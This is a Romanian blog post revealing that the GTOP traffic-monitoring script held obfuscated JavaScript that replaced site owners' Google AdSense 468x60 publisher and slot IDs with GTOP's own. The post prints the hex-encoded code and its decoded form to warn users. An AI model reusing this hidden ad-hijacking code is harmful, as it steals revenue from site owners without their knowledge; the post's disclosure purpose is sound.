Descoperire GTOP

Nu stiu daca a avut cineva vreodata curiozitatea sa vada cum arata js-ul pe care gtop il incarca pe site-ul vostru pentru a monitoriza traficul. Pentru cine vrea sa-l vada, fisierul este aici si, dupa cum puteti vedea, este comprimat insa poate fi decomprimat foarte usor folosind acest site.
Curios fiind, l-am decomprimat sa vad si eu cum arata.
Totul bine si frumos pana am dat de aceste linii:
var _0x47ca = ["\x67\x6F\x6F\x67\x6C\x65\x5F\x61\x64\x73\x5F\x66\x72\x61\x6D\x65", "\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64", "\x73\x72\x63", "\x6D\x61\x74\x63\x68", "\x63\x61\x2D\x70\x75\x62\x2D\x32\x36\x31\x32\x39\x30\x30\x36\x37\x32\x39\x32\x31\x36\x38\x32", "\x72\x65\x70\x6C\x61\x63\x65", "\x73\x6C\x6F\x74\x6E\x61\x6D\x65\x3D\x31\x39\x33\x34\x37\x33\x30\x38\x30\x33"];
var _0xfcf0 = [_0x47ca[0], _0x47ca[1], _0x47ca[2], _0x47ca[3], _0x47ca[4], _0x47ca[5], _0x47ca[6]];

function sSt() {
  for (i = 1; i <= 4; i++) {
     if (document[_0xfcf0[1]](_0xfcf0[0] + i)) {
         src = document[_0xfcf0[1]](_0xfcf0[0] + i)[_0xfcf0[2]];
         if (src[_0xfcf0[3]](/w=468/) && src[_0xfcf0[3]](/h=60/)) {
             var _0x2266x3 = src[_0xfcf0[5]](/(ca-pub-[0-9]+)/ig, _0xfcf0[4]);
             var _0x2266x3 = _0x2266x3[_0xfcf0[5]](/(slotname=[0-9]+)/ig, _0xfcf0[6]);
             document[_0xfcf0[1]](_0xfcf0[0] + i)[_0xfcf0[2]] = _0x2266x3
         }
     }
  }
};
if (site_id != 41219 && site_id != 23216) sSt();



Cum nu prea imi place sa incarc javascript-uri codate pe site-urile mele fara sa stiu despre ce e vorba, mi-am batut putin capul si am decodat si partea asta de cod, rezultatul obtinut fiind acesta:
var _0x47ca = ["google_ads_frame", "getElementById", "src", "match", "ca-pub-2612900672921682", "replace", "slotname=1934730803"];
var _0xfcf0 = [_0x47ca[0], _0x47ca[1], _0x47ca[2], _0x47ca[3], _0x47ca[4], _0x47ca[5], _0x47ca[6]];
function sSt() 
{    
   for (i = 1; i <= 4; i++) 
   {        
      if (document[_0xfcf0[1]](_0xfcf0[0] + i)) 
      {            
         src = document[_0xfcf0[1]](_0xfcf0[0] + i)[_0xfcf0[2]];            
         if (src[_0xfcf0[3]](/w=468/) && src[_0xfcf0[3]](/h=60/)) 
         {                
            var _0x2266x3 = src[_0xfcf0[5]](/(ca-pub-[0-9]+)/ig, _0xfcf0[4]);
            var _0x2266x3 = _0x2266x3[_0xfcf0[5]](/(slotname=[0-9]+)/ig, _0xfcf0[6]);
            document[_0xfcf0[1]](_0xfcf0[0] + i)[_0xfcf0[2]] = _0x2266x3            
         }        
      }    
   }
};


Mi s-a parut putin cam ciudat sa vad pe acolo cuvinte precum "google_ads", "ca-pub-2612900672921682", sau "replace" asa ca am facut cateva replace-uri si am obtinut asta:
var _0x47ca = ["google_ads_frame", "getElementById", "src", "match", "ca-pub-2612900672921682", "replace", "slotname=1934730803"];
var _0xfcf0 = [_0x47ca[0], _0x47ca[1], _0x47ca[2], _0x47ca[3], _0x47ca[4], _0x47ca[5], _0x47ca[6]];
function sSt() 
{    
   for (i = 1; i <= 4; i++) 
   {        
      if (document.getElementById("google_ads_frame" + i)) 
      {            
         src = document.getElementById("google_ads_frame" + i).src;            
         if (src.match(/w=468/) && src.match(/h=60/)) 
         {                
            var _0x2266x3 = src.replace(/(ca-pub-[0-9]+)/ig, "ca-pub-2612900672921682");
            var _0x2266x3 = _0x2266x3.replace(/(slotname=[0-9]+)/ig, "slotname=1934730803");
            document.getElementById("google_ads_frame" + i).src = _0x2266x3            
         }        
      }    
   }
};


Stiti ce face codul asta (ce facea defapt)? Inlocuieste id-urile voastre de la reclamele 468x60 de la Google Adsense cu id-urile celor de la gtop. Cu alte cuvinte inlocuieste RECLAMELE VOASTRE cu RECLAMELE LOR chiar pe SITE-URILE VOASTRE!!!
Am spus "facea" pentru ca acum adsense si-a schimbat codurile si micutul lor script de mai sus nu mai functioneaza (cel putin in testele mele nu a functionat).

Dupa cum puteti observa, in cod este urmatorul if: "if (site_id != 41219 && site_id != 23216) sSt();". Ce face acest if? Ei bine, verifica daca nu cumva codul este plasat pe unul din site-urile cu id-ul 41219 sau 23216 (id-uri care nu mai sunt active in acest moment), id-uri care presupun ca apartineau site-urilor unor admini. In cazul in care codul este plasat pe un site cu un alt id fata de cele doua de mai sus, se executa function sSt() care face treaba cu codurile de la adsense.

De ce am facut postarea asta? Pai pentru ca nu mi se pare corecta aceasta practica deloc si cred ca voi, cei care folositi gtop, ar trebui sa stiti ce coduri va puneti singuri pe site.
Nu am nimic de castigat prin aceasta postrare, nici bani, nici reclama nici nimic, dar ma bate gandul sa revin la o idee mai veche de a mea si sa deschid un site pentru monitorizarea traficului ca alternativa la gtop si alte asemenea servicii care mai sunt pe piata momentan. Vedem ce va fi.